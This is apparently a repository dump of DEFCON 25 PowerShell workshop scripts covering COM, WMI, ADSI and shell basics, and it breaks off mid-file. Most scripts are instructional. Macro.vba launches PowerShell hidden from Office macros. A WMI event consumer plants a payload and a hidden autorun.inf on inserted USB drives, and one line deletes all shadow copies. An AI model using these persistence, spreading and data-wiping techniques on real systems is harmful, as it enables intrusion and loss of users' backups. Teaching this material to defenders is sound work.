├── LICENSE ├── PowerShell_DEFCON.pdf ├── README.md └── Source Files ├── COM Objects.ps1 ├── MOF_Example_InstalledSoftware.ps1 ├── Macro.vba ├── WMI Event Types.ps1 ├── WMI_Associations.ps1 ├── WMI_Event_Examples.ps1 ├── WMI_Helper_Functions.psq.ps1 ├── adsecurity.ps1 ├── basics_commands.ps1 ├── basics_help.ps1 ├── basics_objects.ps1 ├── basics_pipeline.ps1 ├── basics_pssnapin_modules.ps1 ├── basics_variables.ps1 └── cradles.ps1 /LICENSE: -------------------------------------------------------------------------------- 1 | BSD 3-Clause License 2 | 3 | Copyright (c) 2017, Carlos Perez 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted provided that the following conditions are met: 8 | 9 | * Redistributions of source code must retain the above copyright notice, this 10 | list of conditions and the following disclaimer. 11 | 12 | * Redistributions in binary form must reproduce the above copyright notice, 13 | this list of conditions and the following disclaimer in the documentation 14 | and/or other materials provided with the distribution. 15 | 16 | * Neither the name of the copyright holder nor the names of its 17 | contributors may be used to endorse or promote products derived from 18 | this software without specific prior written permission. 19 | 20 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" 21 | AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE 22 | IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 23 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE 24 | FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL 25 | DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 26 | SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER 27 | CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, 28 | OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE 29 | OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 30 | -------------------------------------------------------------------------------- /PowerShell_DEFCON.pdf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/darkoperator/DEFCON25_PS_Workshop/31906cf8719b38a37c50fe6498a433a8d6fb6fc6/PowerShell_DEFCON.pdf -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # DEFCON25_PS_Workshop 2 | Materials of Workshop presented at DEFCON 25 3 | -------------------------------------------------------------------------------- /Source Files/COM Objects.ps1: -------------------------------------------------------------------------------- 1 | # List com objects 2 | gci HKLM:\Software\Classes -ea 0| ? {$_.PSChildName -match '^\w+\.\w+$' -and (gp "$($_.PSPath)\CLSID" -ea 0)} | select -expand pschildname 3 | 4 | # Create an Object 5 | $ws1 = New-Object -ComObject "wscript.shell" 6 | 7 | # Create a COM Object by CLSID 8 | $ws2 = [activator]::CreateInstance([type]::GetTypeFromCLSID("{72C24DD5-D70A-438B-8A42-98424B88AFB8}")) 9 | 10 | # Show Overloads for GetTypeFromCLSID 11 | [type]::GetTypeFromCLSID 12 | -------------------------------------------------------------------------------- /Source Files/MOF_Example_InstalledSoftware.ps1: -------------------------------------------------------------------------------- 1 | $mof = @' 2 | #PRAGMA AUTORECOVER 3 | 4 | [dynamic, provider("RegProv"), 5 | ProviderClsid("{fe9af5c0-d3b6-11ce-a5b6-00aa00680c3f}"),ClassContext("local|HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall")] 6 | class SG_InstalledProducts { 7 | [key] string KeyName; 8 | [read, propertycontext("DisplayName")] string DisplayName; 9 | [read, propertycontext("DisplayVersion")] string DisplayVersion; 10 | [read, propertycontext("InstallDate")] string InstallDate; 11 | [read, propertycontext("Publisher")] string Publisher; 12 | [read, propertycontext("EstimatedSize")] string EstimatedSize; 13 | [read, propertycontext("UninstallString")] string UninstallString; 14 | [read, propertycontext("WindowsInstaller")] string WindowsInstaller; 15 | }; 16 | 17 | [dynamic, provider("RegProv"), 18 | ProviderClsid("{fe9af5c0-d3b6-11ce-a5b6-00aa00680c3f}"),ClassContext("local|HKEY_LOCAL_MACHINE\\SOFTWARE\\Wow6432node\\Microsoft\\Windows\\CurrentVersion\\Uninstall")] 19 | class SG_InstalledProducts32 { 20 | [key] string KeyName; 21 | [read, propertycontext("DisplayName")] string DisplayName; 22 | [read, propertycontext("DisplayVersion")] string DisplayVersion; 23 | [read, propertycontext("InstallDate")] string InstallDate; 24 | [read, propertycontext("Publisher")] string Publisher; 25 | [read, propertycontext("EstimatedSize")] string EstimatedSize; 26 | [read, propertycontext("UninstallString")] string UninstallString; 27 | [read, propertycontext("WindowsInstaller")] string WindowsInstaller; 28 | }; 29 | '@ 30 | $mof | Out-file -encoding ascii $env:TMP\SG_Mof.txt 31 | mofcomp.exe $env:TMP\SG_Mof.txt 32 | #Remove-Item $env:TMP\SG_Mof.txt 33 | Get-WmiObject -Namespace root\default -class SG_InstalledProducts | Select DisplayName,DisplayVersion,InstallDate,Publisher,EstimatedSize,UninstallString,WindowsInstaller | Export-csv -notypeInformation $pwd\InstalledProducst-MOF.csv -Append 34 | Remove-WmiObject -Namespace root\default -class SG_InstalledProducts 35 | Remove-WmiObject -Namespace root\default -class SG_InstalledProducts32 -------------------------------------------------------------------------------- /Source Files/Macro.vba: -------------------------------------------------------------------------------- 1 | Sub vba_exec() 2 | dblShellReturn = Shell("powershell.exe", vbHide) 3 | End Sub 4 | 5 | 6 | Sub wshell_exec() 7 | Set wsh = CreateObject("wscript.shell") 8 | wsh.Run "powershell.exe", 0 9 | End Sub 10 | 11 | Sub wshell_exec2() 12 | Set wsh = GetObject("new:72C24DD5-D70A-438B-8A42-98424B88AFB8") 13 | wsh.Run "powershell.exe", 0 14 | End Sub 15 | Sub wmi_exec() 16 | strComputer = "." 17 | Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2") 18 | Set objStartUp = objWMIService.Get("Win32_ProcessStartup") 19 | Set objProc = objWMIService.Get("Win32_Process") 20 | Set procStartConfig = objStartUp.SpawnInstance_ 21 | procStartConfig.ShowWindow = 0 22 | objProc.Create "powershell.exe", Null, procStartConfig, intProcessID 23 | End Sub 24 | 25 | -------------------------------------------------------------------------------- /Source Files/WMI Event Types.ps1: -------------------------------------------------------------------------------- 1 | ########################### 2 | # __InstanceCreationEvent # 3 | ########################### 4 | 5 | # Query for new process events 6 | $queryCreate = "SELECT * FROM __InstanceCreationEvent WITHIN 5" + 7 | "WHERE TargetInstance ISA 'Win32_Process'" 8 | 9 | # Create an Action 10 | $CrateAction = { 11 | $name = $event.SourceEventArgs.NewEvent.TargetInstance.name 12 | write-host "Process $($name) was created." 13 | } 14 | 15 | # Register WMI event 16 | Register-WMIEvent -Query $queryCreate -Action $CrateAction 17 | 18 | ########################### 19 | # __InstanceDeletionEvent # 20 | ########################### 21 | 22 | # Query for process termination 23 | $queryDelete = "SELECT * FROM __InstanceDeletionEvent WITHIN 5"+ 24 | "WHERE TargetInstance ISA 'Win32_Process'" 25 | 26 | # Create Action 27 | $DeleteAction = { 28 | $name = $event.SourceEventArgs.NewEvent.TargetInstance.name 29 | write-host "Process $($name) has closed." 30 | } 31 | 32 | # Register WMI Event 33 | Register-WMIEvent -Query $queryDelete -Action $DeleteAction 34 | 35 | ################################ 36 | # __InstanceModificationEvent # 37 | ################################ 38 | 39 | # Query for service modification 40 | $queryModify = "SELECT * FROM __InstanceModificationEvent WITHIN 5"+ 41 | "WHERE TargetInstance ISA 'win32_service' AND TargetInstance.Name='BITS'" 42 | 43 | # Create Action 44 | $ModifyAction = { 45 | $name = $event.SourceEventArgs.NewEvent.TargetInstance.name 46 | write-host "Service $($name) was modified." 47 | } 48 | 49 | # Register WMI Event 50 | Register-WMIEvent -Query $queryModify -Action $ModifyAction 51 | 52 | Start-Service -Name BITS 53 | Stop-Service -Name BITS 54 | 55 | ################################# 56 | # Extrinsic PowerShell Assembly # 57 | ################################# 58 | 59 | $query = 'SELECT * FROM Win32_ModuleLoadTrace' + 60 | ' WHERE FileName LIKE “%System.Management.Automation%.dll%"' 61 | 62 | Register-WMIEvent -Query $query -Action { 63 | Write-host "Management Automation assembly has been loaded." } 64 | 65 | ############### 66 | # Timer Event # 67 | ############### 68 | 69 | #Setup WQL query 70 | $TimerQuery = "SELECT * FROM __InstanceModificationEvent WHERE 71 | TargetInstance ISA 72 | 'Win32_LocalTime' 73 | AND (TargetInstance.Second=30 74 | OR TargetInstance.Second=1)" 75 | #Register WMI Event 76 | Register-WmiEvent -Query $TimerQuery -Action { 77 | Write-Host "Event every 30 seconds triggered" } 78 | 79 | -------------------------------------------------------------------------------- /Source Files/WMI_Associations.ps1: -------------------------------------------------------------------------------- 1 | # WMI Associations 2 | 3 | # Network Car Associations 4 | 5 | Get-WmiObject Win32_NetworkAdapter 6 | 7 | $nic = Get-WmiObject Win32_NetworkAdapter | Select-Object -Index 1 8 | 9 | $nic.GetRelated() 10 | 11 | $nic.GetRelated() | select __class -Unique 12 | 13 | 14 | # Get all the types of objects that reference it 15 | $nic.GetRelationships() | select __class -Unique 16 | 17 | # Lets get the Adapter Configuration using the 18 | # Win32_NetworkAdapterConfiguration instance 19 | $nic.GetRelated(‘Win32_NetworkAdapterConfiguration') 20 | 21 | 22 | # User session associations 23 | 24 | Get-WmiObject Win32_LogonSession 25 | 26 | Get-WmiObject Win32_LogonSession | ForEach-Object {$_.GetRelated('Win32_UserAccount')} | fl * 27 | 28 | $sessions = Get-WmiObject Win32_LogonSession 29 | ForEach ($session in $sessions) { 30 | $account = $session.GetRelated('Win32_UserAccount') 31 | if ($account -ne $null) 32 | { 33 | $account | select caption, @{name='created'; expression={$session.StartTime}} 34 | } 35 | } 36 | -------------------------------------------------------------------------------- /Source Files/WMI_Event_Examples.ps1: -------------------------------------------------------------------------------- 1 | # Log File Consumer Example 2 | ############################ 3 | 4 | ################################### 5 | # Filter for Service Modification # 6 | ################################### 7 | 8 | #Creating a new event filter 9 | $ServiceFilter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance() 10 | 11 | # Set the properties of the instance 12 | $ServiceFilter.QueryLanguage = 'WQL' 13 | $ServiceFilter.Query = "select * from __instanceModificationEvent within 5 where targetInstance isa 'win32_Service'" 14 | $ServiceFilter.Name = "ServiceFilter" 15 | $ServiceFilter.EventNamespace = 'root\cimv2' 16 | 17 | # Sets the intance in the namespace 18 | $FilterResult = $ServiceFilter.Put() 19 | $ServiceFilterObj = $FilterResult.Path 20 | 21 | 22 | ############################# 23 | # Consumer for log creation # 24 | ############################# 25 | 26 | #Creating a new event consumer 27 | $LogConsumer = ([wmiclass]"\\.\root\subscription:LogFileEventConsumer").CreateInstance() 28 | 29 | # Set properties of consumer 30 | $LogConsumer.Name = 'ServiceConsumer' 31 | $LogConsumer.Filename = "C:\Log.log" 32 | $LogConsumer.Text = 'A change has occurred on the service: %TargetInstance.DisplayName%' 33 | 34 | # Sets the intance in the namespace 35 | $LogResult = $LogConsumer.Put() 36 | $LogConsumerObj = $LogResult.Path 37 | 38 | ################# 39 | # Create Binder # 40 | ################# 41 | 42 | # Creating new binder 43 | $instanceBinding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance() 44 | 45 | $instanceBinding.Filter = $ServiceFilterObj 46 | $instanceBinding.Consumer = $LogConsumerObj 47 | $result = $instanceBinding.Put() 48 | $newBinding = $result.Path 49 | 50 | ############ 51 | # Clean Up # 52 | ############ 53 | 54 | #Removing WMI Subscriptions using Remove-WMIObject 55 | #Filter 56 | Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='ServiceFilter'" | 57 | Remove-WmiObject -Verbose 58 | 59 | #Consumer 60 | Get-WMIObject -Namespace root\Subscription -Class LogFileEventConsumer -Filter "Name='ServiceConsumer'" | 61 | Remove-WmiObject -Verbose 62 | 63 | #Binding 64 | Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%ServiceFilter%'" | 65 | Remove-WmiObject -Verbose 66 | # ---------------------------------------------------------------------------------------------------- 67 | 68 | # CommandLine Consumer Example 69 | ############################### 70 | 71 | 72 | ############################## 73 | # Filter for removable drive # 74 | ############################## 75 | 76 | #Creating a new event filter 77 | $RemovableDrvFilter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance() 78 | 79 | # Set the properties of the instance 80 | $RemovableDrvFilter.QueryLanguage = 'WQL' 81 | $RemovableDrvFilter.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE 82 | TargetInstance ISA 'Win32_Volume' AND 83 | TargetInstance.DriveType=2" 84 | $RemovableDrvFilter.Name = "USBDrvFilter" 85 | $RemovableDrvFilter.EventNamespace = 'root\cimv2' 86 | 87 | # Sets the intance in the namespace 88 | $FilterResult = $RemovableDrvFilter.Put() 89 | $USBFilterObj = $FilterResult.Path 90 | 91 | ################################## 92 | # Consumer for Command Execution # 93 | ################################## 94 | 95 | #Creating a new event consumer 96 | $CommandConsumer = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance() 97 | $CommandConsumer.Name = 'WriteToUSB' 98 | $CommandConsumer.ExecutablePath = "C:\\Windows\\System32\\cmd.exe" 99 | $CommandConsumer.CommandLineTemplate = "C:\\Windows\\System32\\cmd.exe /c echo hello > %TargetInstance.DriveLetter%\\test.txt" 100 | 101 | # Sets the intance in the namespace 102 | $CmdResult = $CommandConsumer.Put() 103 | $CmdConsumerObj = $CmdResult.Path 104 | 105 | ################# 106 | # Create Binder # 107 | ################# 108 | 109 | # Creating new binder 110 | $instanceBinding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance() 111 | 112 | $instanceBinding.Filter = $USBFilterObj 113 | $instanceBinding.Consumer = $CmdConsumerObj 114 | $result = $instanceBinding.Put() 115 | $newBinding = $result.Path 116 | 117 | ############ 118 | # Clean Up # 119 | ############ 120 | 121 | ([wmi]$USBFilterObj).Delete() 122 | ([wmi]$CmdConsumerObj).Delete() 123 | ([wmi]$newBinding).Delete() 124 | 125 | # ---------------------------------------------------------------------------------------------------- 126 | 127 | # EventLog Consumer Example 128 | ########################### 129 | 130 | 131 | ############################## 132 | # Filter for VSS Creation # 133 | ############################## 134 | 135 | #Creating a new event filter 136 | $VSSFilter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance() 137 | 138 | # Set the properties of the instance 139 | $VSSFilter.QueryLanguage = 'WQL' 140 | $VSSFilter.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE 141 | TargetInstance ISA 'Win32_ShadowCopy'" 142 | $VSSFilter.Name = "VSSFilter" 143 | $VSSFilter.EventNamespace = 'root\cimv2' 144 | 145 | # Sets the intance in the namespace 146 | $FilterResult = $VSSFilter.Put() 147 | $VSSObj = $FilterResult.Path 148 | 149 | ############################ 150 | # Consumer for NTEventLog # 151 | ############################ 152 | 153 | #Creating a new event consumer 154 | $EvtConsumer = ([wmiclass]"\\.\root\subscription:NTEventLogEventConsumer").CreateInstance() 155 | $EvtConsumer.Name = 'VSSReport' 156 | $EvtConsumer.EventID = 8 157 | $EvtConsumer.EventType = 8 158 | $EvtConsumer.Category = 0 159 | $EvtConsumer.InsertionStringTemplates = @( 160 | "A Volume Shadow Copy Has been created." 161 | "Date: %TargetInstance.InstallDate%", 162 | "ID: %TargetInstance.InstallDate%", 163 | "VolumeName: %TargetInstance.VolumeName%", 164 | "DeviceObject: %TargetInstance.DeviceObject%", 165 | "Count: %TargetInstance.Count", 166 | "Persistent: %TargetInstance.Persistent%", 167 | "State: %TargetInstance.State%") 168 | $EvtConsumer.NumberOfInsertionStrings = 8 169 | $EvtConsumer.SourceName = "WSH" 170 | 171 | # Sets the intance in the namespace 172 | $EvtResult = $EvtConsumer.Put() 173 | $EvtConsumerObj = $EvtResult.Path 174 | 175 | ################# 176 | # Create Binder # 177 | ################# 178 | 179 | # Creating new binder 180 | $instanceBinding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance() 181 | 182 | $instanceBinding.Filter = $VSSObj 183 | $instanceBinding.Consumer = $EvtConsumerObj 184 | $result = $instanceBinding.Put() 185 | $newBinding = $result.Path 186 | 187 | ######## 188 | # Test # 189 | ######## 190 | 191 | $VSSClass = [wmiclass]"Win32_ShadowCopy" 192 | $VSSClass.Create("C:\","ClientAccessible") 193 | Get-EventLog -LogName Application -EntryType SuccessAudit -Source 'WSH' 194 | 195 | # Delete shadow copies 196 | Get-WmiObject win32_shadowcopy | foreach {$_.delete()} 197 | 198 | ############ 199 | # Clean Up # 200 | ############ 201 | 202 | ([wmi]$VSSObj).Delete() 203 | ([wmi]$EvtConsumerObj).Delete() 204 | ([wmi]$newBinding).Delete() 205 | 206 | # ---------------------------------------------------------------------------------------------------- 207 | 208 | # ActionScript Consumer Example 209 | ########################### 210 | 211 | ############################## 212 | # Filter for removable drive # 213 | ############################## 214 | 215 | #Creating a new event filter 216 | $RemovableDrvFilter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance() 217 | 218 | # Set the properties of the instance 219 | $RemovableDrvFilter.QueryLanguage = 'WQL' 220 | $RemovableDrvFilter.Query = "SELECT * FROM __InstanceCreationEvent WITHIN 2 WHERE 221 | TargetInstance ISA 'Win32_Volume' AND 222 | TargetInstance.DriveType=2" 223 | $RemovableDrvFilter.Name = "USBDrvFilter" 224 | $RemovableDrvFilter.EventNamespace = 'root\cimv2' 225 | 226 | # Sets the intance in the namespace 227 | $FilterResult = $RemovableDrvFilter.Put() 228 | $USBFilterObj = $FilterResult.Path 229 | 230 | ############################## 231 | # Consumer for ActionScript # 232 | ############################## 233 | 234 | $ScriptConsumer = ([wmiclass]"\\.\root\subscription:ActiveScriptEventConsumer").CreateInstance() 235 | $ScriptConsumer.Name = 'AutoRun' 236 | $ScriptConsumer.ScriptText = ' 237 | Function Base64Decode(ByVal base64String) 238 | 239 | Const Base64 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/" 240 | Dim dataLength, sOut, groupBegin 241 | 242 | base64String = Replace(base64String, vbCrLf, "") 243 | base64String = Replace(base64String, vbTab, "") 244 | base64String = Replace(base64String, " ", "") 245 | 246 | 247 | dataLength = Len(base64String) 248 | If dataLength Mod 4 <> 0 Then 249 | Err.Raise 1, "Base64Decode", "Bad Base64 string." 250 | Exit Function 251 | End If 252 | 253 | 254 | For groupBegin = 1 To dataLength Step 4 255 | Dim numDataBytes, CharCounter, thisChar, thisData, nGroup, pOut 256 | 257 | numDataBytes = 3 258 | nGroup = 0 259 | For CharCounter = 0 To 3 260 | 261 | thisChar = Mid(base64String, groupBegin + CharCounter, 1) 262 | If thisChar = "=" Then 263 | numDataBytes = numDataBytes - 1 264 | thisData = 0 265 | Else 266 | thisData = InStr(1, Base64, thisChar, vbBinaryCompare) - 1 267 | End If 268 | If thisData = -1 Then 269 | Err.Raise 2, "Base64Decode", "Bad character In Base64 string." 270 | Exit Function 271 | End If 272 | nGroup = 64 * nGroup + thisData 273 | Next 274 | 275 | 276 | nGroup = Hex(nGroup) 277 | 278 | 279 | nGroup = String(6 - Len(nGroup), "0") & nGroup 280 | 281 | 282 | pOut = Chr(CByte("&H" & Mid(nGroup, 1, 2))) + _ 283 | Chr(CByte("&H" & Mid(nGroup, 3, 2))) + _ 284 | Chr(CByte("&H" & Mid(nGroup, 5, 2))) 285 | 286 | 287 | sOut = sOut & Left(pOut, numDataBytes) 288 | Next 289 | Base64Decode = sOut 290 | End Function 291 | 292 | Set objFSO=CreateObject("Scripting.FileSystemObject") 293 | 294 | payContent = Base64Decode("SSdtIGEgZXZpbCBwYXlsb2Fk") 295 | Set objPayload = objFSO.CreateTextFile("D:\payload.exe",True) 296 | objPayload.Write payContent 297 | objPayload.Close 298 | 299 | outFile= TargetEvent.TargetInstance.DriveLetter & "\autorun.inf" 300 | Set objFile = objFSO.CreateTextFile(outFile,True) 301 | objFile.WriteLine("[AutoRun]") 302 | payloadpath = "shellexecute=" & TargetEvent.TargetInstance.DriveLetter & "\payload.exe" 303 | objFile.WriteLine(payloadpath) 304 | objFile.WriteLine("UseAutoPlay=1") 305 | objFile.Close 306 | Set autoRunsFile = objFSO.GetFile(outFile) 307 | autoRunsFile.attributes = 2 308 | 309 | ' 310 | 311 | $ScriptConsumer.ScriptingEngine = 'VBScript' 312 | $scriptResult = $ScriptConsumer.Put() 313 | $scriptObj = $scriptResult.Path 314 | 315 | ################# 316 | # Create Binder # 317 | ################# 318 | 319 | # Creating new binder 320 | $instanceBinding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance() 321 | 322 | $instanceBinding.Filter = $USBFilterObj 323 | $instanceBinding.Consumer = $scriptObj 324 | $result = $instanceBinding.Put() 325 | $newBinding = $result.Path 326 | 327 | ############ 328 | # Clean Up # 329 | ############ 330 | 331 | ([wmi]$USBFilterObj).Delete() 332 | ([wmi]$scriptObj).Delete() 333 | ([wmi]$newBinding).Delete() -------------------------------------------------------------------------------- /Source Files/WMI_Helper_Functions.psq.ps1: -------------------------------------------------------------------------------- 1 | function Get-WmiNamespace { 2 | <# 3 | .SYNOPSIS 4 | 5 | Returns a list of WMI namespaces present within the specified namespace. 6 | 7 | .PARAMETER Namespace 8 | 9 | Specifies the WMI repository namespace in which to list sub-namespaces. Get-WmiNamespace defaults to the ROOT namespace. 10 | 11 | .PARAMETER Recurse 12 | 13 | Specifies that namespaces should be recursed upon starting from the specified root namespace. 14 | 15 | .EXAMPLE 16 | 17 | Get-WmiNamespace 18 | 19 | .EXAMPLE 20 | 21 | Get-WmiNamespace -Recurce 22 | 23 | .EXAMPLE 24 | 25 | Get-WmiNamespace -Namespace ROOT\CIMV2 26 | 27 | .EXAMPLE 28 | 29 | Get-WmiNamespace -Namespace ROOT\CIMV2 -Recurse 30 | 31 | .OUTPUTS 32 | 33 | System.String 34 | 35 | Get-WmiNamespace returns fully-qualified namespace names. 36 | #> 37 | 38 | [OutputType([String])] 39 | Param ( 40 | [String] 41 | [ValidateNotNullOrEmpty()] 42 | $Namespace = 'ROOT', 43 | 44 | [Switch] 45 | $Recurse 46 | ) 47 | 48 | $BoundParamsCopy = $PSBoundParameters 49 | $null = $BoundParamsCopy.Remove('Namespace') 50 | 51 | # Exclude locale specific namespaces 52 | Get-WmiObject -Class __NAMESPACE -Namespace $Namespace -Filter 'NOT Name LIKE "ms_4%"' | ForEach-Object { 53 | $FullyQualifiedNamespace = '{0}\{1}' -f $_.__NAMESPACE, $_.Name 54 | $FullyQualifiedNamespace 55 | 56 | if ($Recurse) { 57 | Get-WmiNamespace -Namespace $FullyQualifiedNamespace @BoundParamsCopy 58 | } 59 | } 60 | } 61 | 62 | filter Get-WmiExtrinsicEvent { 63 | <# 64 | .SYNOPSIS 65 | 66 | Returns all WMI extrinsic event types for the specified namespace. 67 | 68 | .PARAMETER Namespace 69 | 70 | Specifies the WMI repository namespace in which to list extrinsic event types. 71 | 72 | .EXAMPLE 73 | 74 | Get-WmiExtrinsicEvent 75 | 76 | .EXAMPLE 77 | 78 | Get-WmiNamespace -Recurce | Get-WmiExtrinsicEvent 79 | 80 | .INPUTS 81 | 82 | System.String 83 | 84 | Get-WmiExtrinsicEvent accepts fully-qualified namespace names returned from Get-WmiNamespace. 85 | 86 | .OUTPUTS 87 | 88 | System.Management.ManagementClass 89 | 90 | Get-WmiExtrinsicEvent returns extrinsic WMI class objects. 91 | #> 92 | 93 | [OutputType([Management.ManagementClass])] 94 | Param ( 95 | [Parameter(ValueFromPipeline = $True)] 96 | [String] 97 | $Namespace = 'ROOT\CIMV2' 98 | ) 99 | 100 | # Exclude generic, system generated extrinsic events 101 | $ExclusionList = @( 102 | '__SystemEvent', 103 | '__EventDroppedEvent', 104 | '__EventQueueOverflowEvent', 105 | '__QOSFailureEvent', 106 | '__ConsumerFailureEvent') 107 | 108 | Get-WmiObject -Class Meta_Class -Namespace $Namespace | 109 | Where-Object { $_.Name -eq '__TimerEvent' -or ($_.Derivation.Contains('__ExtrinsicEvent') -and (-not ($ExclusionList -contains $_.Name))) } 110 | } 111 | 112 | filter Get-WmiIntrinsicEvent { 113 | <# 114 | .SYNOPSIS 115 | 116 | Returns all WMI intrinsic event types for the specified namespace. 117 | 118 | .PARAMETER Namespace 119 | 120 | Specifies the WMI repository namespace in which to list intrinsic event types. 121 | 122 | .EXAMPLE 123 | 124 | Get-WmiIntrinsicEvent 125 | 126 | .EXAMPLE 127 | 128 | Get-WmiNamespace -Recurce | Get-WmiIntrinsicEvent 129 | 130 | .INPUTS 131 | 132 | System.String 133 | 134 | Get-WmiIntrinsicEvent accepts fully-qualified namespace names returned from Get-WmiNamespace. 135 | 136 | .OUTPUTS 137 | 138 | System.Management.ManagementClass 139 | 140 | Get-WmiIntrinsicEvent returns intrinsic WMI class objects. 141 | #> 142 | 143 | [OutputType([Management.ManagementClass])] 144 | Param ( 145 | [Parameter(ValueFromPipeline = $True)] 146 | [String] 147 | $Namespace = 'ROOT\CIMV2' 148 | ) 149 | 150 | $ExclusionList = @( 151 | '__ExtrinsicEvent', 152 | '__TimerEvent' 153 | ) 154 | 155 | Get-WmiObject -Class Meta_Class -Namespace $Namespace | 156 | Where-Object { $_.Derivation.Contains('__Event') -and (-not $_.Derivation.Contains('__ExtrinsicEvent') -and (-not ($ExclusionList -contains $_.Name))) } 157 | } -------------------------------------------------------------------------------- /Source Files/adsecurity.ps1: -------------------------------------------------------------------------------- 1 | # Create a DS Entry object fo the domain path. 2 | [adsi]"LDAP://DC=tachack,DC=local" 3 | 4 | [adsi]"" 5 | 6 | $DCObj = [adsi]"LDAP://OU=Domain Controllers,DC=tachack,DC=local" 7 | $DCObj | Get-Member 8 | 9 | # Working with ADSI COM object 10 | $DCObj.psbase | gm 11 | $DCObj.psbase | gm -Force 12 | 13 | $DCObj.psbase.get_path() 14 | $DCObj.psbase.get_parent() 15 | 16 | 17 | # System.DirectoryServices.ActiveDirectory Namespace 18 | [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest() 19 | 20 | [System.DirectoryServices.ActiveDirectory.Domain]::GetComputerDomain() 21 | 22 | [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain() 23 | 24 | # Searcher 25 | $searcher = [adsisearcher]"objectcategory=computer" 26 | $searcher | gm 27 | 28 | # SPN Search 29 | $filter = '(&(objectCategory=computer)(servicePrincipalName=LDAP*))' 30 | $searcher = [adsisearcher]$filter 31 | $searcher.PageSize = 1000 32 | $searcher.FindAll() 33 | 34 | -------------------------------------------------------------------------------- /Source Files/basics_commands.ps1: -------------------------------------------------------------------------------- 1 |  2 | # Show History 3 | 4 | Get-History 5 | 6 | # Show PSReadline History file 7 | 8 | Get-PSReadlineOption 9 | 10 | psEdit C:\Users\Carlos\AppData\Roaming\PSReadline\ConsoleHost_history.txt 11 | 12 | # Show approved verbs for cmdlets 13 | 14 | Get-Verb 15 | 16 | 17 | # Get-Command 18 | Get-Command 19 | 20 | Get-Command -Name *help* 21 | 22 | Get-Command -Name *help* -CommandType Function 23 | 24 | Get-Command -Name *help* -CommandType Application 25 | 26 | Get-Command -Verb Invoke 27 | 28 | Show-Command 29 | 30 | 31 | # Aliases 32 | 33 | Get-Alias -Name dir 34 | 35 | Get-Alias -Definition Get-ChildItem 36 | 37 | New-Alias -Name "ll" -Value Get-ChildItem -Description "long list just like in HPUX." 38 | 39 | Export-Alias -Path .\my_aliases.txt 40 | 41 | Import-Alias -Path .\my_aliases.txt 42 | 43 | ll 44 | -------------------------------------------------------------------------------- /Source Files/basics_help.ps1: -------------------------------------------------------------------------------- 1 |  2 | # Help 3 | 4 | Update-Help 5 | 6 | Save-Help -DestinationPath .\PSHelp -UICulture "en-US" 7 | 8 | Update-Help -UICulture "en-US" -SourcePath .\PSHelp -Force 9 | 10 | Get-Help -Name *process* 11 | 12 | Get-Help -Name *process* -Category Cmdlet 13 | 14 | 15 | Get-Help -Name Get-Process 16 | 17 | Get-Alias -Definition Get-Process 18 | 19 | help ps 20 | 21 | help Get-Process -Full 22 | 23 | help Get-Process -Examples 24 | 25 | help Get-Process -Parameter Name 26 | 27 | help Get-Process -Parameter * 28 | 29 | help Get-Process -ShowWindow 30 | 31 | help Get-Process -Online 32 | 33 | -------------------------------------------------------------------------------- /Source Files/basics_objects.ps1: -------------------------------------------------------------------------------- 1 | # Object Basics 2 | 3 | Get-Process | Get-Member 4 | 5 | Get-Process | Get-Member -MemberType Properties 6 | 7 | Get-Process | Get-Member -MemberType Methods 8 | 9 | Start-Process notepad.exe -WindowStyle Minimized 10 | 11 | $notepad = Get-Process -Name notepad 12 | 13 | $notepad.Modules 14 | 15 | $notepad.Close 16 | 17 | $notepad.Close() 18 | 19 | # Comparisson Operators 20 | 21 | "hello" -eq "HELLO" 22 | 23 | "hello" -ceq "HELLO" 24 | 25 | 1 -eq "1" 26 | 27 | # Collection Operators 28 | 29 | "a","b","c" -contains "b" 30 | 31 | "b" -in "a","b","c" 32 | 33 | # Boolean Operators 34 | ((1 -eq 1) -or (15 -gt 20)) -and ("running" -like "*run*") 35 | 36 | 37 | -------------------------------------------------------------------------------- /Source Files/basics_pipeline.ps1: -------------------------------------------------------------------------------- 1 | <# 2 | .Synopsis 3 | Function to demo use of pipeline. 4 | .DESCRIPTION 5 | Function to demo use of pipeline. 6 | .EXAMPLE 7 | Get-Process | Test-Pipeline 8 | By Value 9 | .EXAMPLE 10 | Get-Process 